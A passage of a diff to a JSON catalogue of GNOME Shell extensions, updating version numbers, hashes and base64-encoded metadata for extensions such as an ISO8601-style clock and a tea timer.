nMuZmVkb3JhLXVwZGF0ZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3B1cmVqYXZhL2ZlZG9yYS11cGRhdGUiLAogICJ1dWlkIjogInVwZGF0ZS1leHRlbnNpb25AcHVyZWphdmEub3JnIiwKICAidmVyc2lvbiI6IDI5Cn0="},
+    "47": {"version": "29", "sha256": "00bnxgfy5ywsvdph4qhj5qq4zn16xihpcrwpbssjrdq8zfbqvdd0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdOT01FIFNoZWxsIHVwZGF0ZSBpbmRpY2F0b3IgZm9yIEZlZG9yYSBMaW51eC5cbiAgVGhpcyBpcyBiYXNlZCBvbiBBcmNoIExpbnV4IFVwZGF0ZXMgSW5kaWNhdG9yIGJ5IFJhcGhhXHUwMGVibCBSb2NoZXQuXG4gIFRoaXMgZXh0ZW5zaW9uIGlzIG5vdCBhZmZpbGlhdGVkLCBmdW5kZWQsIG9yIGluIGFueSB3YXkgYXNzb2NpYXRlZCB3aXRoIEZlZG9yYSBicmFuZCBhbmQgUmVkIEhhdCBTb2Z0d2FyZS4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJ1cGRhdGUtZXh0ZW5zaW9uQHB1cmVqYXZhLm9yZyIsCiAgIm5hbWUiOiAiRmVkb3JhIExpbnV4IFVwZGF0ZSBJbmRpY2F0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZmVkb3JhLXVwZGF0ZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3B1cmVqYXZhL2ZlZG9yYS11cGRhdGUiLAogICJ1dWlkIjogInVwZGF0ZS1leHRlbnNpb25AcHVyZWphdmEub3JnIiwKICAidmVyc2lvbiI6IDI5Cn0="},
+    "48": {"version": "29", "sha256": "00bnxgfy5ywsvdph4qhj5qq4zn16xihpcrwpbssjrdq8zfbqvdd0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdOT01FIFNoZWxsIHVwZGF0ZSBpbmRpY2F0b3IgZm9yIEZlZG9yYSBMaW51eC5cbiAgVGhpcyBpcyBiYXNlZCBvbiBBcmNoIExpbnV4IFVwZGF0ZXMgSW5kaWNhdG9yIGJ5IFJhcGhhXHUwMGVibCBSb2NoZXQuXG4gIFRoaXMgZXh0ZW5zaW9uIGlzIG5vdCBhZmZpbGlhdGVkLCBmdW5kZWQsIG9yIGluIGFueSB3YXkgYXNzb2NpYXRlZCB3aXRoIEZlZG9yYSBicmFuZCBhbmQgUmVkIEhhdCBTb2Z0d2FyZS4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJ1cGRhdGUtZXh0ZW5zaW9uQHB1cmVqYXZhLm9yZyIsCiAgIm5hbWUiOiAiRmVkb3JhIExpbnV4IFVwZGF0ZSBJbmRpY2F0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZmVkb3JhLXVwZGF0ZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3B1cmVqYXZhL2ZlZG9yYS11cGRhdGUiLAogICJ1dWlkIjogInVwZGF0ZS1leHRlbnNpb25AcHVyZWphdmEub3JnIiwKICAidmVyc2lvbiI6IDI5Cn0="}
   }}
 , {"uuid": "iso8601ish@S410", "name": "ISO8601-ish Clock", "pname": "iso8601-ish-clock", "description": "Overrides Gnome's clock format with ISO8601-inspired one.\n\nClock preferences in Date & Time section of Gnome Settings are respected, in a way.\n\"Date\" and \"Seconds\" behave as usual.\n\"Week Day\" inserts ISO Week and Weekday between the date and time. E.g. \"2023-10-16 W42-1 19:45\".", "link": "https://extensions.gnome.org/extension/6413/iso8601-ish-clock/", "shell_version_map": {
-    "45": {"version": "9", "sha256": "1261y2c0i996m0f3f4n7xzmfrrrlb3ibgc23qdkr9lfjmrkv6vfm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk92ZXJyaWRlcyBHbm9tZSdzIGNsb2NrIGZvcm1hdCB3aXRoIElTTzg2MDEtaW5zcGlyZWQgb25lLlxuXG5DbG9jayBwcmVmZXJlbmNlcyBpbiBEYXRlICYgVGltZSBzZWN0aW9uIG9mIEdub21lIFNldHRpbmdzIGFyZSByZXNwZWN0ZWQsIGluIGEgd2F5LlxuXCJEYXRlXCIgYW5kIFwiU2Vjb25kc1wiIGJlaGF2ZSBhcyB1c3VhbC5cblwiV2VlayBEYXlcIiBpbnNlcnRzIElTTyBXZWVrIGFuZCBXZWVrZGF5IGJldHdlZW4gdGhlIGRhdGUgYW5kIHRpbWUuIEUuZy4gXCIyMDIzLTEwLTE2IFc0Mi0xIDE5OjQ1XCIuIiwKICAibmFtZSI6ICJJU084NjAxLWlzaCBDbG9jayIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9TNDEwL2lzbzg2MDFpc2giLAogICJ1dWlkIjogImlzbzg2MDFpc2hAUzQxMCIsCiAgInZlcnNpb24iOiA5Cn0="},
-    "46": {"version": "9", "sha256": "1261y2c0i996m0f3f4n7xzmfrrrlb3ibgc23qdkr9lfjmrkv6vfm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk92ZXJyaWRlcyBHbm9tZSdzIGNsb2NrIGZvcm1hdCB3aXRoIElTTzg2MDEtaW5zcGlyZWQgb25lLlxuXG5DbG9jayBwcmVmZXJlbmNlcyBpbiBEYXRlICYgVGltZSBzZWN0aW9uIG9mIEdub21lIFNldHRpbmdzIGFyZSByZXNwZWN0ZWQsIGluIGEgd2F5LlxuXCJEYXRlXCIgYW5kIFwiU2Vjb25kc1wiIGJlaGF2ZSBhcyB1c3VhbC5cblwiV2VlayBEYXlcIiBpbnNlcnRzIElTTyBXZWVrIGFuZCBXZWVrZGF5IGJldHdlZW4gdGhlIGRhdGUgYW5kIHRpbWUuIEUuZy4gXCIyMDIzLTEwLTE2IFc0Mi0xIDE5OjQ1XCIuIiwKICAibmFtZSI6ICJJU084NjAxLWlzaCBDbG9jayIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9TNDEwL2lzbzg2MDFpc2giLAogICJ1dWlkIjogImlzbzg2MDFpc2hAUzQxMCIsCiAgInZlcnNpb24iOiA5Cn0="},
-    "47": {"version": "9", "sha256": "1261y2c0i996m0f3f4n7xzmfrrrlb3ibgc23qdkr9lfjmrkv6vfm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk92ZXJyaWRlcyBHbm9tZSdzIGNsb2NrIGZvcm1hdCB3aXRoIElTTzg2MDEtaW5zcGlyZWQgb25lLlxuXG5DbG9jayBwcmVmZXJlbmNlcyBpbiBEYXRlICYgVGltZSBzZWN0aW9uIG9mIEdub21lIFNldHRpbmdzIGFyZSByZXNwZWN0ZWQsIGluIGEgd2F5LlxuXCJEYXRlXCIgYW5kIFwiU2Vjb25kc1wiIGJlaGF2ZSBhcyB1c3VhbC5cblwiV2VlayBEYXlcIiBpbnNlcnRzIElTTyBXZWVrIGFuZCBXZWVrZGF5IGJldHdlZW4gdGhlIGRhdGUgYW5kIHRpbWUuIEUuZy4gXCIyMDIzLTEwLTE2IFc0Mi0xIDE5OjQ1XCIuIiwKICAibmFtZSI6ICJJU084NjAxLWlzaCBDbG9jayIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9TNDEwL2lzbzg2MDFpc2giLAogICJ1dWlkIjogImlzbzg2MDFpc2hAUzQxMCIsCiAgInZlcnNpb24iOiA5Cn0="},
-    "48": {"version": "9", "sha256": "1261y2c0i996m0f3f4n7xzmfrrrlb3ibgc23qdkr9lfjmrkv6vfm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk92ZXJyaWRlcyBHbm9tZSdzIGNsb2NrIGZvcm1hdCB3aXRoIElTTzg2MDEtaW5zcGlyZWQgb25lLlxuXG5DbG9jayBwcmVmZXJlbmNlcyBpbiBEYXRlICYgVGltZSBzZWN0aW9uIG9mIEdub21lIFNldHRpbmdzIGFyZSByZXNwZWN0ZWQsIGluIGEgd2F5LlxuXCJEYXRlXCIgYW5kIFwiU2Vjb25kc1wiIGJlaGF2ZSBhcyB1c3VhbC5cblwiV2VlayBEYXlcIiBpbnNlcnRzIElTTyBXZWVrIGFuZCBXZWVrZGF5IGJldHdlZW4gdGhlIGRhdGUgYW5kIHRpbWUuIEUuZy4gXCIyMDIzLTEwLTE2IFc0Mi0xIDE5OjQ1XCIuIiwKICAibmFtZSI6ICJJU084NjAxLWlzaCBDbG9jayIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9TNDEwL2lzbzg2MDFpc2giLAogICJ1dWlkIjogImlzbzg2MDFpc2hAUzQxMCIsCiAgInZlcnNpb24iOiA5Cn0="}
+    "45": {"version": "10", "sha256": "1xqsqvrph45wb406h38qg4hy0narqn28dpybvfjf8f6l2fk3pf6g", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk92ZXJyaWRlcyBHbm9tZSdzIGNsb2NrIGZvcm1hdCB3aXRoIElTTzg2MDEtaW5zcGlyZWQgb25lLlxuXG5DbG9jayBwcmVmZXJlbmNlcyBpbiBEYXRlICYgVGltZSBzZWN0aW9uIG9mIEdub21lIFNldHRpbmdzIGFyZSByZXNwZWN0ZWQsIGluIGEgd2F5LlxuXCJEYXRlXCIgYW5kIFwiU2Vjb25kc1wiIGJlaGF2ZSBhcyB1c3VhbC5cblwiV2VlayBEYXlcIiBpbnNlcnRzIElTTyBXZWVrIGFuZCBXZWVrZGF5IGJldHdlZW4gdGhlIGRhdGUgYW5kIHRpbWUuIEUuZy4gXCIyMDIzLTEwLTE2IFc0Mi0xIDE5OjQ1XCIuIiwKICAibmFtZSI6ICJJU084NjAxLWlzaCBDbG9jayIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9TNDEwL2lzbzg2MDFpc2giLAogICJ1dWlkIjogImlzbzg2MDFpc2hAUzQxMCIsCiAgInZlcnNpb24iOiAxMAp9"},
+    "46": {"version": "10", "sha256": "1xqsqvrph45wb406h38qg4hy0narqn28dpybvfjf8f6l2fk3pf6g", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk92ZXJyaWRlcyBHbm9tZSdzIGNsb2NrIGZvcm1hdCB3aXRoIElTTzg2MDEtaW5zcGlyZWQgb25lLlxuXG5DbG9jayBwcmVmZXJlbmNlcyBpbiBEYXRlICYgVGltZSBzZWN0aW9uIG9mIEdub21lIFNldHRpbmdzIGFyZSByZXNwZWN0ZWQsIGluIGEgd2F5LlxuXCJEYXRlXCIgYW5kIFwiU2Vjb25kc1wiIGJlaGF2ZSBhcyB1c3VhbC5cblwiV2VlayBEYXlcIiBpbnNlcnRzIElTTyBXZWVrIGFuZCBXZWVrZGF5IGJldHdlZW4gdGhlIGRhdGUgYW5kIHRpbWUuIEUuZy4gXCIyMDIzLTEwLTE2IFc0Mi0xIDE5OjQ1XCIuIiwKICAibmFtZSI6ICJJU084NjAxLWlzaCBDbG9jayIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9TNDEwL2lzbzg2MDFpc2giLAogICJ1dWlkIjogImlzbzg2MDFpc2hAUzQxMCIsCiAgInZlcnNpb24iOiAxMAp9"},
+    "47": {"version": "10", "sha256": "1xqsqvrph45wb406h38qg4hy0narqn28dpybvfjf8f6l2fk3pf6g", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk92ZXJyaWRlcyBHbm9tZSdzIGNsb2NrIGZvcm1hdCB3aXRoIElTTzg2MDEtaW5zcGlyZWQgb25lLlxuXG5DbG9jayBwcmVmZXJlbmNlcyBpbiBEYXRlICYgVGltZSBzZWN0aW9uIG9mIEdub21lIFNldHRpbmdzIGFyZSByZXNwZWN0ZWQsIGluIGEgd2F5LlxuXCJEYXRlXCIgYW5kIFwiU2Vjb25kc1wiIGJlaGF2ZSBhcyB1c3VhbC5cblwiV2VlayBEYXlcIiBpbnNlcnRzIElTTyBXZWVrIGFuZCBXZWVrZGF5IGJldHdlZW4gdGhlIGRhdGUgYW5kIHRpbWUuIEUuZy4gXCIyMDIzLTEwLTE2IFc0Mi0xIDE5OjQ1XCIuIiwKICAibmFtZSI6ICJJU084NjAxLWlzaCBDbG9jayIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9TNDEwL2lzbzg2MDFpc2giLAogICJ1dWlkIjogImlzbzg2MDFpc2hAUzQxMCIsCiAgInZlcnNpb24iOiAxMAp9"},
+    "48": {"version": "10", "sha256": "1xqsqvrph45wb406h38qg4hy0narqn28dpybvfjf8f6l2fk3pf6g", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk92ZXJyaWRlcyBHbm9tZSdzIGNsb2NrIGZvcm1hdCB3aXRoIElTTzg2MDEtaW5zcGlyZWQgb25lLlxuXG5DbG9jayBwcmVmZXJlbmNlcyBpbiBEYXRlICYgVGltZSBzZWN0aW9uIG9mIEdub21lIFNldHRpbmdzIGFyZSByZXNwZWN0ZWQsIGluIGEgd2F5LlxuXCJEYXRlXCIgYW5kIFwiU2Vjb25kc1wiIGJlaGF2ZSBhcyB1c3VhbC5cblwiV2VlayBEYXlcIiBpbnNlcnRzIElTTyBXZWVrIGFuZCBXZWVrZGF5IGJldHdlZW4gdGhlIGRhdGUgYW5kIHRpbWUuIEUuZy4gXCIyMDIzLTEwLTE2IFc0Mi0xIDE5OjQ1XCIuIiwKICAibmFtZSI6ICJJU084NjAxLWlzaCBDbG9jayIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9TNDEwL2lzbzg2MDFpc2giLAogICJ1dWlkIjogImlzbzg2MDFpc2hAUzQxMCIsCiAgInZlcnNpb24iOiAxMAp9"}
   }}
 , {"uuid": "lu-wotd@praczet.github.com", "name": "Luxembourgish - Word Of The Day", "pname": "luxembourgish-word-of-the-day", "description": "Displays Luxembourgish's The Word of the Day. It gets them (wotds) from LOD.lu", "link": "https://extensions.gnome.org/extension/6418/luxembourgish-word-of-the-day/", "shell_version_map": {
     "44": {"version": "3", "sha256": "0mn2xbvcjzqw8h95khp1sj2jaq7mpfd53wyzfcsmcc3jv4f72ipn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXlzIEx1eGVtYm91cmdpc2gncyBUaGUgV29yZCBvZiB0aGUgRGF5LiBJdCBnZXRzIHRoZW0gKHdvdGRzKSBmcm9tIExPRC5sdSIsCiAgImdldHRleHQtZG9tYWluIjogImx1LXdvdGQiLAogICJuYW1lIjogIkx1eGVtYm91cmdpc2ggLSBXb3JkIE9mIFRoZSBEYXkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMubHUtd290ZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9wcmFjemV0L2x1LXdvdGQiLAogICJ1dWlkIjogImx1LXdvdGRAcHJhY3pldC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDMKfQ=="},
@@ -7568,8 +7590,8 @@
 , {"uuid": "TeaTimer@zener.sbg.at", "name": "TeaTimer", "pname": "teatimer", "description": "A tea steeping timer\nFollow-up Fork of https://extensions.gnome.org/extension/604/teatime", "link": "https://extensions.gnome.org/extension/6520/teatimer/", "shell_version_map": {
     "45": {"version": "9", "sha256": "129yyy3x4z5r4q5j6rwc3082n6cqg2fm4a1gszi1hpjqc7lyrgb3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgdGVhIHN0ZWVwaW5nIHRpbWVyXG5Gb2xsb3ctdXAgRm9yayBvZiBodHRwczovL2V4dGVuc2lvbnMuZ25vbWUub3JnL2V4dGVuc2lvbi82MDQvdGVhdGltZSIsCiAgImdldHRleHQtZG9tYWluIjogIlRlYVRpbWVyIiwKICAibmFtZSI6ICJUZWFUaW1lciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy50ZWF0aW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vemVuZXJzL2dub21lLXNoZWxsLXRlYXRpbWUvdHJlZS90ZWF0aW1lciIsCiAgInV1aWQiOiAiVGVhVGltZXJAemVuZXIuc2JnLmF0IiwKICAidmVyc2lvbiI6IDkKfQ=="},
     "46": {"version": "9", "sha256": "129yyy3x4z5r4q5j6rwc3082n6cqg2fm4a1gszi1hpjqc7lyrgb3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgdGVhIHN0ZWVwaW5nIHRpbWVyXG5Gb2xsb3ctdXAgRm9yayBvZiBodHRwczovL2V4dGVuc2lvbnMuZ25vbWUub3JnL2V4dGVuc2lvbi82MDQvdGVhdGltZSIsCiAgImdldHRleHQtZG9tYWluIjogIlRlYVRpbWVyIiwKICAibmFtZSI6ICJUZWFUaW1lciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy50ZWF0aW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vemVuZXJzL2dub21lLXNoZWxsLXRlYXRpbWUvdHJlZS90ZWF0aW1lciIsCiAgInV1aWQiOiAiVGVhVGltZXJAemVuZXIuc2JnLmF0IiwKICAidmVyc2lvbiI6IDkKfQ=="},
-    "47": {"version": "12", "sha256": "1dsapxj4zin60vpqqfx075dp28z8xyiklx5h6k6nna8zp6703wh1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgdGVhIHN0ZWVwaW5nIHRpbWVyXG5Gb2xsb3ctdXAgRm9yayBvZiBodHRwczovL2V4dGVuc2lvbnMuZ25vbWUub3JnL2V4dGVuc2lvbi82MDQvdGVhdGltZSIsCiAgImdldHRleHQtZG9tYWluIjogIlRlYVRpbWVyIiwKICAibmFtZSI6ICJUZWFUaW1lciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy50ZWF0aW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vemVuZXJzL2dub21lLXNoZWxsLXRlYXRpbWUvdHJlZS90ZWF0aW1lciIsCiAgInV1aWQiOiAiVGVhVGltZXJAemVuZXIuc2JnLmF0IiwKICAidmVyc2lvbiI6IDEyCn0="},
-    "48": {"version": "12", "sha256": "1dsapxj4zin60vpqqfx075dp28z8xyiklx5h6k6nna8zp6703wh1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgdGVhIHN0ZWVwaW5nIHRpbWVyXG5Gb2xsb3ctdXAgRm9yayBvZiBodHRwczovL2V4dGVuc2lvbnMuZ25vbWUub3JnL2V4dGVuc2lvbi82MDQvdGVhdGltZSIsCiAgImdldHRleHQtZG9tYWluIjogIlRlYVRpbWVyIiwKICAibmFtZSI6ICJUZWFUaW1lciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy50ZWF0aW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vemVuZXJzL2dub21lLXNoZWxsLXRlYXRpbWUvdHJlZS90ZWF0aW1lciIsCiAgInV1aWQiOiAiVGVhVGltZXJAemVuZXIuc2JnLmF0IiwKICAidmVyc2lvbiI6IDEyCn0="}
+    "47": {"version": "13", "sha256": "0xb13pyb528h34gscc590nz5ww9fk0yvsd1cgfb8zrcqxxkzp00f", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgdGVhIHN0ZWVwaW5nIHRpbWVyXG5Gb2xsb3ctdXAgRm9yayBvZiBodHRwczovL2V4dGVuc2lvbnMuZ25vbWUub3JnL2V4dGVuc2lvbi82MDQvdGVhdGltZSIsCiAgImdldHRleHQtZG9tYWluIjogIlRlYVRpbWVyIiwKICAibmFtZSI6ICJUZWFUaW1lciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy50ZWF0aW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vemVuZXJzL2dub21lLXNoZWxsLXRlYXRpbWUvdHJlZS90ZWF0aW1lciIsCiAgInV1aWQiOiAiVGVhVGltZXJAemVuZXIuc2JnLmF0IiwKICAidmVyc2lvbiI6IDEzCn0="},
+    "48": {"version": "13", "sha256": "0xb13pyb528h34gscc590nz5ww9fk0yvsd1cgfb8zrcqxxkzp00f", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgdGVhIHN0ZWVwaW5nIHRpbWVyXG5Gb2xsb3ctdXAgRm9yayBvZiBodHRwczovL2V4dGVuc2lvbnMuZ25vbWUub3JnL2V4dGVuc2lvbi82MDQvdGVhdGltZSIsCiAgImdldHRleHQtZG9tYWluIjogIlRlYVRpbWVyIiwKICAibmFtZSI6ICJUZWFUaW1lciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy50ZWF0aW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vemVuZXJzL2dub21lLXNoZWxsLXRlYXRpbWUvdHJlZS90ZWF0aW1lciIsCiAgInV1aWQiOiAiVGVhVGltZXJAemVuZXIuc2JnLmF0IiwKICAidmVyc2lvbiI6IDEzCn0="}
   }}
 , {"uuid": "panel-workspace-scroll@polymeilex.github.io", "name": "Panel Workspace Scroll", "pname": "panel-workspace-scroll", "description": "Switch workspace by mouse scroll on the panel.\nIn contrast to alternative extensions purpose of this one is to use the native scroll handler of gnome-shell, so workspace scroll should behave exactly the same as overview scroll or workspace indicator scroll.", "link": "https://extensions.gnome.org/extension/6523/panel-workspace-scroll/", "shell_version_map": {
     "45": {"version": "5", "sha256": "0ddnaapmb8k3qmh6nin6zhfimjscw0cfdjb1i0z2hx0wprg7mlbf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlN3aXRjaCB3b3Jrc3BhY2UgYnkgbW91c2Ugc2Nyb2xsIG9uIHRoZSBwYW5lbC5cbkluIGNvbnRyYXN0IHRvIGFsdGVybmF0aXZlIGV4dGVuc2lvbnMgcHVycG9zZSBvZiB0aGlzIG9uZSBpcyB0byB1c2UgdGhlIG5hdGl2ZSBzY3JvbGwgaGFuZGxlciBvZiBnbm9tZS1zaGVsbCwgc28gd29ya3NwYWNlIHNjcm9sbCBzaG91bGQgYmVoYXZlIGV4YWN0bHkgdGhlIHNhbWUgYXMgb3ZlcnZpZXcgc2Nyb2xsIG9yIHdvcmtzcGFjZSBpbmRpY2F0b3Igc2Nyb2xsLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJwYW5lbC13b3Jrc3BhY2Utc2Nyb2xsIiwKICAibmFtZSI6ICJQYW5lbCBXb3Jrc3BhY2UgU2Nyb2xsIiwKICAib3JpZ2luYWwtYXV0aG9ycyI6ICJtYXJ5bmN6YWtiYXJ0bG9taWVqQGdtYWlsLmNvbSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9Qb2x5TWVpbGV4L2dub21lLXNoZWxsLWV4dGVuc2lvbi1wYW5lbC13b3Jrc3BhY2Utc2Nyb2xsIiwKICAidXVpZCI6ICJwYW5lbC13b3Jrc3BhY2Utc2Nyb2xsQHBvbHltZWlsZXguZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDUKfQ=="},
@@ -7740,7 +7762,7 @@
 , {"uuid": "mountMeter@dhariharan26.gmail.com", "name": "Mount Meter", "pname": "mount-meter", "description": "Easily monitor and manage your mounted removable drives, displaying sizes and highlighting the mount with the least used space in the top bar.\n\nForked and Modified extensively from Removable Drive Menu by fmuellner.\n\nNote:- \n1.The list will automatically refresh every 5 seconds to provide updated information.\n2.Any ongoing event(e.g. a file transfer) which result in changes(% used) in mount sizes will trigger the top bar indicator to highlight/flash until the file operation completes,this is intended and also partially doubles up as a file transfer operation indicator :)", "link": "https://extensions.gnome.org/extension/6664/mount-meter/", "shell_version_map": {
